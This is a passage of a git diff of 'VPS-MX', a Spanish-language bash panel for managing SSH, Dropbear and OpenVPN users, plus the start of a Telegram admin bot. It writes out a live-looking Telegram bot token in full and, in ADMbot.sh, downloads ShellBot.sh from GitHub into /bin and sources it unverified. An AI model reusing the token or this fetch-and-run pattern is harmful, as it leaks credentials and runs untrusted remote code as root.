+ echo -e "${yellow}USER:${gren}$user $sep $TOTALPID $HOUR\n   ${red}HWID:${yellow} $hwid\n$(msg -bar)" >&2
+ ) &
+ pid=$!
+ sleep 0.2s
+ done
+ while [[ -d /proc/$pid ]]; do
+ sleep 2s
+ done
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ monit_token () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
+ msg -bar
+ txtvar=$(printf '%-13s' " USUARIO")
+ txtvar+=$(printf '%-20s' "CONEXIONES")
+ txtvar+=$(printf '%-10s' "TIME/ON")
+ echo -e "  \e[1;33m${txtvar}\e[0m"
+ msg -bar
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'token'|grep -v 'syslog')
+ for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
+ token="$i"
+ nom="$(echo "$cat_users"|grep -w "$i"|awk -F ':' '{print $5}'|cut -d ',' -f2)"
+ user=$(printf '%-10s' " ${nom}")
+ sep=$(printf '%-5s')
+ _=$(
+ PID="0+"
+ [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$token"|grep -v root|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${token}"|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$token"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$token"|cut -d'|' -f2)+"
+ PID+="0"
+ TIMEON="${TIMEUS[$token]}"
+ [[ -z $TIMEON ]] && TIMEON=0
+ MIN=$(($TIMEON/60))
+ SEC=$(($TIMEON-$MIN*60))
+ HOR=$(($MIN/60))
+ MIN=$(($MIN-$HOR*60))
+ HOUR="${HOR}h:${MIN}m:${SEC}s"
+ [[ $(echo $PID|bc) -gt 0 ]] && token="$token [\033[1;32mON\033[0m${yellow}] " || token="$token [\033[1;31mOFF\033[0m${yellow}]"
+ TOTALPID="$(echo $PID|bc)/token"	#$MAXUSER"
+ while [[ ${#token} -lt 45 ]]; do
+ token=$token" "
+ done
+ while [[ ${#TOTALPID} -lt 13 ]]; do
+ TOTALPID=$TOTALPID" "
+ done
+ while [[ ${#HOUR} -lt 8 ]]; do
+ HOUR=$HOUR" "
+ done
+ echo -e "${yellow}USER:${gren}$user $sep $TOTALPID $HOUR\n   ${red}TOKEN:${yellow} $token\n$(msg -bar)" >&2
+ ) &
+ pid=$!
+ sleep 0.2s
+ done
+ while [[ -d /proc/$pid ]]; do
+ sleep 2s
+ done
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ monit_ssh () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
+ msg -bar
+ txtvar=$(printf '%-20s' " USUARIO")
+ txtvar+=$(printf '%-14s' "CONEXIONES")
+ txtvar+=$(printf '%-8s' "TIME/ON")
+ echo -e "  \e[1;33m${txtvar}\e[0m"
+ msg -bar
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'sshm'|grep -v 'syslog')
+ for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
+ user="$i"
+ _=$(
+ PID="0+"
+ [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
+ PID+="0"
+ TIMEON="${TIMEUS[$user]}"
+ [[ -z $TIMEON ]] && TIMEON=0
+ MIN=$(($TIMEON/60))
+ SEC=$(($TIMEON-$MIN*60))
+ HOR=$(($MIN/60))
+ MIN=$(($MIN-$HOR*60))
+ HOUR="${HOR}h:${MIN}m:${SEC}s"
+ [[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXUSER="" || MAXUSER="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
+ [[ $(echo $PID|bc) -gt 0 ]] && user="$user [\033[1;32mON\033[0m${yellow}] " || user="$user [\033[1;31mOFF\033[0m${yellow}]"
+ TOTALPID="$(echo $PID|bc)/$MAXUSER"
+ while [[ ${#user} -lt 45 ]]; do
+ user=$user" "
+ done
+ while [[ ${#TOTALPID} -lt 13 ]]; do
+ TOTALPID=$TOTALPID" "
+ done
+ while [[ ${#HOUR} -lt 9 ]]; do
+ HOUR=$HOUR" "
+ done
+ echo -e "${yellow}$user $TOTALPID $HOUR\n$(msg -bar)" >&2
+ ) &
+ pid=$!
+ sleep 0.2s
+ done
+ while [[ -d /proc/$pid ]]; do
+ sleep 2s
+ done
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ rm_vencidos () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "$(fun_trans "\e[93m           BORRANDO USUARIOS VENCIDOS ")"
+ msg -bar
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ txtvar=$(printf '%-25s' " USUARIO")
+ txtvar+=$(printf '%-25s' " VALIDIDEZ")
+ echo -e "\033[1;92m${txtvar}"
+ msg -bar
+ expired="${red}$(fun_trans "Usuario Expirado")"
+ valid="${gren}$(fun_trans "   Usuario Vigente")"
+ never="${yellow}$(fun_trans "Usuario Ilimitado")"
+ removido="${red}$(fun_trans "Eliminado")"
+ DataVPS=$(date +%s)
+ while read user; do
+ DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
+ usr=$user
+ while [[ ${#usr} -lt 20 ]]; do
+ usr=$usr" "
+ done
+ [[ "$DataUser" = " never" ]] && {
+ echo -e "${yellow}$usr $never"
+ continue
+ }
+ DataSEC=$(date +%s --date="$DataUser")
+ if [[ "$DataSEC" -lt "$DataVPS" ]]; then
+ echo -ne "${yellow}$usr $expired"
+ rm_user "$user" && echo -e "($removido)"
+ else
+ echo -e "${yellow}$usr $valid"
+ fi
+ done <<< "$(mostrar_usuarios)"
+ rm -rf /etc/VPS-MX/VPS-MX-userlock
+ rm -rf /etc/VPS-MX/controlador/Limiter.log
+ unlockall2
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ verif_fun () {
+ local conexao
+ local limite
+ local TIMEUS
+ declare -A conexao
+ declare -A limite
+ declare -A TIMEUS
+ local LIMITERLOG="${SCPusr}/Limiter.log"
+ local LIMITERLOG2="${SCPusr}/Limiter2.log"
+ [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && local SSH=ON || local SSH=OFF
+ [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && local DROP=ON || local DROP=OFF
+ [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && local OPEN=ON || local OPEN=OFF
+ while true; do
+ unset EXPIRED
+ unset ONLINES
+ unset BLOQUEADO
+ local TimeNOW=$(date +%s)
+ while read user; do
+ echo -ne "\033[1;33mUSUARIO: \033[1;32m$user "
+ if [[ ! $(echo $(mostrar_usuarios)|grep -w "$user") ]]; then
+ echo -e "\033[1;31mNO EXISTE"
+ continue
+ fi
+ local DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
+ if [[ ! -z "$(echo $DataUser|grep never)" ]]; then
+ echo -e "\033[1;31mILIMITADO"
+ continue
+ fi
+ local DataSEC=$(date +%s --date="$DataUser")
+ if [[ "$DataSEC" -lt "$TimeNOW" ]]; then
+ EXPIRED="1+"
+ block_userfun $user -loked && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG2 && KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
+ URL="https://api.telegram.org/bot$KEY/sendMessage"
+ MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+ 🔹 CUENTA: $user
+ ❗️ �� EXPIRADA �� ❗️"
+ curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL && pkill -u $user
+ echo -e "\033[1;31m EXPIRADO"
+ continue
+ fi
+ local PID="0+"
+ [[ $SSH = ON  ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l 2>/dev/null)+"
+ [[ $DROP = ON  ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l 2>/dev/null)+"
+ [[ $OPEN = ON  ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
+ local ONLINES+="$(echo ${PID}0|bc)+"
+ local conexao[$user]="$(echo ${PID}0|bc)"
+ if [[ ${conexao[$user]} -gt '0' ]]; then #CONTADOR DE TEMPO ONLINE
+ [[ -z "${TIMEUS[$user]}" ]] && local TIMEUS[$user]=0
+ [[ "${TIMEUS[$user]}" != +([0-9]) ]] && local TIMEUS[$user]=0
+ local TIMEUS[$user]="$((300+${TIMEUS[$user]}))"
+ local VARS="$(cat ${MyTIME}|grep -w -v "$user")"
+ echo "TIMEUS[$user]='${TIMEUS[$user]}'" > ${MyTIME}
+ for variavel in $(echo ${VARS}); do echo "${variavel}" >> ${MyTIME}; done
+ fi
+ local limite[$user]="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
+ [[ -z "${limite[$user]}" ]] && continue
+ [[ "${limite[$user]}" != +([0-9]) ]] && continue
+ if [[ "${conexao[$user]}" -gt "${limite[$user]}" ]]; then
+ local lock=$(block_userfun $user -loked)
+ pkill -u $user
+ droplim=`dropbear_pids|grep -w "$user"|cut -d'|' -f2`
+ kill -9 $droplim &>/dev/null
+ openlim=`openvpn_pids|grep -w "$user"|cut -d'|' -f2`
+ kill -9 $openlim &>/dev/null
+ echo "$lock" >> $LIMITERLOG && echo "$lock" >> $LIMITERLOG2
+ echo -e "\033[1;31m ULTRAPASO LIMITE"
+ continue
+ fi
+ echo -e "\033[1;33m OK! \033[1;31m${conexao[$user]} CONEXIONESS"
+ BLOQUEADO="$(wc -l /etc/VPS-MX/VPS-MX-userlock | awk '{print $1}')"
+ BLOQUEADO2="$(echo ${BLOQUEADO}|bc)0"
+ BLOQUEADO3="/10"
+ EXPIRADO="$(grep -c EXPIRADO /etc/VPS-MX/controlador/Limiter.log)"
+ EXPIRADO2="$(echo ${EXPIRADO}|bc)0"
+ EXPIRADO3="/10"
+ done <<< "$(mostrar_usuarios)"
+ echo "${ONLINES}0"|bc > ${SCPdir}/USRonlines
+ echo "${EXPIRADO2}${EXPIRADO3}"|bc > ${SCPdir}/USRexpired
+ echo "${BLOQUEADO2}${BLOQUEADO3}"|bc > ${SCPdir}/USRbloqueados
+ limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
+ sleep $limseg # TEMPO DE ESPERA DO LOOP
+ clear
+ done
+ }
+ SPR &
+ backup_fun () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "$(fun_trans "        HERRAMIENTA DE BACKUP DE USUARIOS")"
+ msg -bar
+ menu_func "CREAR BACKUP" "RESTAURAR BACKUP"
+ msg -bar
+ unset selection
+ while [[ ${selection} != @([1-2]) ]]; do
+ echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+ tput cuu1 && tput dl1
+ done
+ case ${selection} in
+ 1)
+ cp ${USRdatabase} $HOME/VPS-MX-Backup
+ msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")"
+ echo ""
+ echo -e "\033[1;31mBACKUP > [\033[1;32m$HOME/VPS-MX-Backup\033[1;31m]"
+ echo ""
+ ;;
+ 2)
+ while [[ ! -e ${dirbackup} ]]; do
+ echo -ne "\033[1;37m ¡¡Recomiendo DESACTIVAR Limitador si es que lo tine ACTIVO!!\n"
+ echo -ne "\033[1;37m Escriba la ubicacion de la copia de seguridad\n"
+ msg -bar
+ echo -ne "\033[1;37m ENTER: para ruta predeterminada /root/VPS-MX-Backup: " && read dirbackup
+ echo ""
+ echo "----------  RESTAURANDO CUENTAS ESPERE "
+ echo ""
+ msg -bar
+ [[ -z "${dirbackup}" ]] && dirbackup="/root/VPS-MX-Backup"
+ tput cuu1 && tput dl1
+ done
+ VPSsec=$(date +%s)
+ while read line; do
+ nome=$(echo ${line}|cut -d'|' -f1)
+ [[ $(echo $(mostrar_usuarios)|grep -w "$nome") ]] && { msg -verm "$nome [ERROR]"
+ continue
+ }
+ senha=$(echo ${line}|cut -d'|' -f2)
+ DateExp=$(echo ${line}|cut -d'|' -f3)
+ DataSec=$(date +%s --date="$DateExp")
+ [[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="NP"
+ limite=$(echo ${line}|cut -d'|' -f4)
+ add_user "$nome" "$senha" "$dias" "$limite" &>/dev/null && msg -verd "$nome [CUENTA VALIDA]" || msg -verm "$nome [CUENTA INVALIDA FECHA EXPIRADA]"
+ done < ${dirbackup}
+ ;;
+ esac
+ echo ""
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ verif_funx () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\033[1;32m             LIMITADOR DE CUENTAS"
+ msg -bar
+ echo -e "Esta Opcion Limita las Conexiones de SSH/SSL/DROPBEAR"
+ PIDVRF="$(ps aux|grep "${SCPusr}/usercodes verificar"|grep -v grep|awk '{print $2}')"
+ if [[ -z $PIDVRF ]]; then
+ msg -bar
+ echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el limitador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 120s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemlim
+ [[ -z "$tiemlim" ]] && tiemlim="120"
+ echo "${tiemlim}" > /etc/VPS-MX/controlador/tiemlim.log
+ cd ${SCPusr}
+ screen -dmS very ${SCPusr}/usercodes verificar
+ else
+ for pid in $(echo $PIDVRF); do
+ kill -9 $pid &>/dev/null
+ done
+ [[ -e ${SCPdir}/USRonlines ]] && rm ${SCPdir}/USRonlines
+ [[ -e ${SCPdir}/USRexpired ]] && rm ${SCPdir}/USRexpired
+ [[ -e ${SCPdir}/USRbloqueados ]] && rm ${SCPdir}/USRbloqueados
+ fi
+ msg -bar
+ [[ -z ${VERY} ]] && verificar="\033[1;32m ACTIVADO " || verificar="\033[1;31m DESACTIVADO "
+ echo -e "            $verificar  --  CON EXITO"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ verif2_funx () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\033[1;32m      DESBLOQUEO AUT. Y LIMPIADOR DE EXPIARDOS"
+ msg -bar
+ echo -e "Esta opcion desbloquea cada 60 segundos a usuarios\nbloqueados por el limitador y limpia los usuarios expirados"
+ PIDVRF2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"|grep -v grep|awk '{print $2}')"
+ if [[ -z $PIDVRF2 ]]; then
+ msg -bar
+ echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el desbloqueador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 300s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemdes
+ [[ -z "$tiemdes" ]] && tiemdes="300"
+ echo "${tiemdes}" > /etc/VPS-MX/controlador/tiemdes.log
+ cd ${SCPusr}
+ screen -dmS very2 ${SCPusr}/usercodes desbloqueo
+ else
+ for pid in $(echo $PIDVRF2); do
+ kill -9 $pid &>/dev/null
+ done
+ fi
+ msg -bar
+ [[ -z ${VERY2} ]] && desbloqueo="\033[1;32m ACTIVADO " || desbloqueo="\033[1;31m DESACTIVADO "
+ echo -e "            $desbloqueo  --  CON EXITO"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ baner_fun () {
+ banner_on () {
+ clear
+ clear
+ local="/etc/VPS-MX/bannerssh"
+ rm -rf $local  > /dev/null 2>&1
+ local2="/etc/dropbear/banner"
+ chk=$(cat /etc/ssh/sshd_config | grep Banner)
+ if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then
+ local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}')
+ else
+ echo "" >> /etc/ssh/sshd_config
+ echo "Banner /etc/VPS-MX/bannerssh" >> /etc/ssh/sshd_config
+ local="/etc/VPS-MX/bannerssh"
+ fi
+ msg -bar
+ msg -tit
+ msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
+ msg -bar
+ msg -ne "$(fun_trans  "Inserte el BANNER de preferencia en HTML sin saltos"): \n\n" && read ban_ner
+ echo ""
+ msg -bar
+ credi="$(less /etc/VPS-MX/message.txt)"
+ echo "$ban_ner" >> $local
+ echo '<p style="text-align: center;"><span style="color: #0000ff;"><strong>'$credi'</strong></span><br /><em><span style="color: #ff0000;"><strong>SCRIPT - VPS&bull;MX</strong></span></em></p>' >> $local
+ if [[ -e "$local2" ]]; then
+ rm $local2  > /dev/null 2>&1
+ cp $local $local2 > /dev/null 2>&1
+ fi
+ msg -verd "$(fun_trans  "           BANNER AGREGADO CON !! EXITO ¡¡" )" && msg -bar
+ service dropbear stop 2>/dev/null
+ service ssh restart 2>/dev/null
+ service dropbear restart 2>/dev/null
+ }
+ banner_off () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "         ELIMINANDO  BANNER SSH/SSL/DROPBEAR"
+ msg -bar
+ sed -i '/'Banner'/d' /etc/ssh/sshd_config
+ sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/ssh/sshd_config
+ echo "" >> /etc/ssh/sshd_config
+ rm -rf  /etc/dropbear/banner > /dev/null 2>&1
+ echo "" > /etc/dropbear/banner  > /dev/null 2>&1
+ service dropbear stop 2>/dev/null
+ service ssh restart 2>/dev/null
+ service dropbear restart 2>/dev/null
+ echo -e "\033[1;92m            BANNER ELIMINADO !! EXITO ¡¡ "
+ msg -bar
+ }
+ clear
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
+ msg -bar
+ echo -e "${cor[1]}            Escoja la opcion deseada."
+ msg -bar
+ echo -e "\033[1;92m 1).- \033[1;37m AGREGAR BANNER SSH/SSL/DROPBEAR "
+ echo -e "\033[1;92m 2).- \033[1;37m ELIMINAR Y DESACTIVAR BANNER   "
+ msg -bar
+ echo -ne "\033[1;37mDigite solo el numero segun su respuesta: \033[1;32m"
+ read opcao
+ case $opcao in
+ 1)
+ msg -bar
+ banner_on
+ ;;
+ 2)
+ msg -bar
+ banner_off
+ ;;
+ esac
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ desbloqueo_auto () {
+ while true; do
+ Desbloqueo.sh 2>/dev/null
+ tiemdes="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+ sleep $tiemdes
+ done
+ }
+ rec_total () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\033[1;32m  REGISTRO TOTAL DE CUENTAS VIEJAS Y NUEVAS"
+ msg -bar
+ msg -ama "	CUENSTAS SSH"
+ if [[ -e /etc/VPS-MX/VPS-MXuser ]]; then
+ echo "$(cat /etc/VPS-MX/VPS-MXuser)"
+ else
+ msg -ama " NO HAY REGISTRO"
+ fi
+ msg -bar
+ msg -ama "	CUENTAS HWID"
+ if [[ -e /etc/VPS-MX/User-HWID ]]; then
+ echo "$(cat /etc/VPS-MX/User-HWID)"
+ else
+ msg -ama " NO HAY REGISTRO"
+ fi
+ msg -bar
+ msg -ama "	CUENTAS TOKEN"
+ if [[ -e /etc/VPS-MX/User-TOKEN ]]; then
+ echo "$(cat /etc/VPS-MX/User-TOKEN)"
+ else
+ msg -ama " NO HAY REGISTRO"
+ fi
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ if [[ "$1" = "verificar" ]]; then
+ verif_fun
+ exit
+ fi
+ [[ -z ${VERY} ]] && verificar="\033[1;31m[DESACTIVADO]" || verificar="\033[1;32m[ACTIVO]"
+ if [[ "$1" = "desbloqueo" ]]; then
+ desbloqueo_auto
+ exit
+ fi
+ [[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[DESACTIVADO]" || desbloqueo="\033[1;32m[ACTIVO]"
+ msg -tit
+ msg -ama "  MENU ADMINISTRACION DE USUARIOS SSL/SSH/DROPBEAR"
+ msg -bar
+ msg -bar3
+ menu_func "CREAR NUEVO USUARIO [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "CREAR USUARIO TEMPORAL" "REMOVER USUARIO [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "BLOQUEAR |DESBLOQUEAR USUARIO" "REINICIAR CONTADOR DE BLOQUEADOS |EXPIRADOS" "EDITAR USUARIO" "RENOVAR USUARIO" "MOSTRAR CUENTAS [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "USUARIOS CONECTADOS [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m] " "ELIMINAR USUARIOS VENCIDOS" "BACKUP USUARIOS" "AGREGAR/ELIMINAR BANNER " "\033[1;31m⚠️ELIMINAR TODOS LOS USUARIOS⚠️ \n" " -fi ${verificar}   \033[1;97m🔒 LIMITADOR-DE-CUENTAS 🔒 \n" " -fi ${desbloqueo}   \033[1;97m🔓 DESBLOQUEO-AUTOMATICO 🔓 \n" "\033[1;92mLOG DE CUENTAS REGISTRADAS" "LIMPIAR LOG DE LIMITADOR"
+ [[ -e "${SCPusr}/Limiter2.log" ]] && echo -ne "$(msg -verd "  [18]") $(msg -verm2 "➛ ") " &&  msg -azu "$(fun_trans "\033[1;93mVER LOG DE LIMITADOR")"
+ echo -ne ""$(msg -bar)"   \n$(msg -verd "  [0]") $(msg -verm2 "➛ ")" &&  msg -bra  "  \e[97m\033[1;41m VOLVER \033[1;37m"
+ msg -bar
+ selection=$(selection_fun 19)
+ case ${selection} in
+ 1)menu_crearuser;;
+ 2)${SCPdir2}/Crear-Demo.sh "${idioma}";;
+ 3)menudel;;
+ 4)block_user;;
+ 5)reset_contador;;
+ 6)edit_user;;
+ 7)renew_user;;
+ 8)menudata;;
+ 9)menumoni;;
+ 10)rm_vencidos;;
+ 11)backup_fun;;
+ 12)baner_fun;;
+ 13)eliminar_all;;
+ 14)verif_funx;;
+ 15)verif2_funx;;
+ 16)rec_total;;
+ 17)
+ rm -rf ${SCPusr}/Limiter2.log
+ echo -e "\033[1;32m  LOG ELIMINADO CON EXITO"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ ;;
+ 18)
+ clear
+ clear
+ msg -bar
+ sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/VPS-MX/controlador/Limiter2.log
+ [[ -e "${SCPusr}/Limiter2.log" ]] && {
+ msg -tit
+ msg -ama "              REGISTRO DEL LIMITADOR "
+ cat ${SCPusr}/Limiter2.log
+ msg -bar
+ }
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ ;;
+ esac
+ 

+ 1342 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ADMbot.sh

@@ -0,0 +1,1342 @@
+#!/bin/bash
+#26/01/2021
+clear
+clear
+# DIRECCIONES DE CARPETAS Y ARCHIVOS
+
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
+mkdir -p /etc/BOT &>/dev/null
+mkdir -p /etc/BOT-C &>/dev/null
+mkdir -p /etc/BOT-A &>/dev/null
+mkdir -p /etc/BOT-GEN &>/dev/null
+mkdir -p /etc/BOT-C2 &>/dev/null
+mkdir -p /etc/BOT-TEMP &>/dev/null
+USRdatacredi="/etc/BOT-C2/creditos"
+
+##### SERVIDOR TELEGRAM PERSONAL
+[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null
+[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/ShellBot.sh &>/dev/null
+[[ -e /etc/texto-bot ]] && rm /etc/texto-bot
+
+##### VERIFICANDO  PAQUETES PRIMARIOS
+
+[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null
+[[ $(dpkg --get-selections | grep -w "vnstat" | head -1) ]] || apt-get install vnstat -y &>/dev/null
+[[ $(dpkg --get-selections | grep -w "vnstati" | head -1) ]] || apt-get install vnstati -y &>/dev/null
+[[ $(dpkg --get-selections | grep -w "nmap" | head -1) ]] || apt-get install nmap -y &>/dev/null
+
+## INGRESO DE TOKEN BOT
+clear
+msg -bar
+msg -tit
+msg -ama "      ## BOT DE GESTION | VPS-MX  ##  \033[1;31m"
+msg -bar
+if [[ $1 = "id" || -z $(ps aux | grep -v grep | grep -w "ADMbot.sh" | grep dmS | awk '{print $2}') ]]; then
+	[[ -z $2 ]] && echo -ne " \033[1;96m #Digite el Token del BOT \033[0;92m \nTOKEN:  \033[0;97m" && read TOKEN || TOKEN="$2"
+	[[ -z "$TOKEN" ]] && exit 1                                     #SEM TOKEN, SEM BOT
+	IDIOMA="$(cat ${SCPidioma})" && [[ -z $IDIOMA ]] && IDIOMA="es" #ARGUMENTO 2 (IDIOMA)
+	[[ -z $3 ]] && echo -ne " \033[1;96m #Digite un nombre para su Usuario \033[0;92m  \nUSUARIO:  \033[0;97m" && read USERLIB || USERLIB="$3"
+	[[ -z "$USERLIB" ]] && exit 1 #USUARIO
+	[[ -z $4 ]] && echo -ne " \033[1;96m #Digite una contraseña para su Usuario \033[0;92m  \nCONTRASEÑA:  \033[0;97m" && read PASSLIB || PASSLIB="$4"
+	[[ -z "$PASSLIB" ]] && exit 1 #SENHA
+	[[ -z $2 ]] && [[ -z $3 ]] && [[ -z $4 ]] && {
+		screen -dmS telebot ${SCPfrm}/ADMbot.sh id "$TOKEN" "$USERLIB" "$PASSLIB"
+		msg -bar
+		echo -e " \033[1;92m                BOT INICIADO CON EXCITO"
+		msg -bar
+		exit 0
+	}
+else
+	kill -9 $(ps aux | grep -v grep | grep -w "ADMbot.sh" | grep dmS | awk '{print $2}') && echo -e " \033[1;91m                BOT DETENIDO CON EXCITO"
+	msg -bar
+	exit 0
+fi
+LINE='━━━━━━━━━━━━━━━━━━━━'
+USRdatabase="/etc/VPS-MX/VPS-MXuser"
+#IMPORTANDO API
+source ShellBot.sh
+ShellBot.init --token "$TOKEN"
+ShellBot.username
+# SUPRIME ERROS
+exec 2>/dev/null
+# SISTEMA DE PIDS
+dropbear_pids() {
+	unset pids
+	port_dropbear=$(ps aux | grep dropbear | awk NR==1 | awk '{print $17;}')
+	log=/var/log/auth.log
+	loginsukses='Password auth succeeded'
+	[[ -z $port_dropbear ]] && return 1
+	for port in $(echo $port_dropbear); do
+		for pidx in $(ps ax | grep dropbear | grep "$port" | awk -F" " '{print $1}'); do
+			pids="${pids}$pidx \n"
+		done
+	done
+	for pid in $(echo -e "$pids"); do
+		pidlogs=$(grep $pid $log | grep "$loginsukses" | awk -F" " '{print $3}')
+		i=0
+		for pidend in $pidlogs; do
+			let i++
+		done
+		if [[ $pidend ]]; then
+			login=$(grep $pid $log | grep "$pidend" | grep "$loginsukses")
+			PID=$pid
+			user=$(echo $login | awk -F" " '{print $10}' | sed -r "s/'//g")
+			waktu=$(echo $login | awk -F" " '{print $2"-"$1,$3}')
+			[[ -z $user ]] && continue
+			echo "$user|$PID|$waktu"
+		fi
+	done
+}
+openvpn_pids() {
+	#nome|#loguin|#rcv|#snd|#time
+	byte() {
+		while read B dummy; do
+			[[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
+			KB=$(((B + 512) / 1024))
+			[[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
+			MB=$(((KB + 512) / 1024))
+			[[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
+			GB=$(((MB + 512) / 1024))
+			[[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
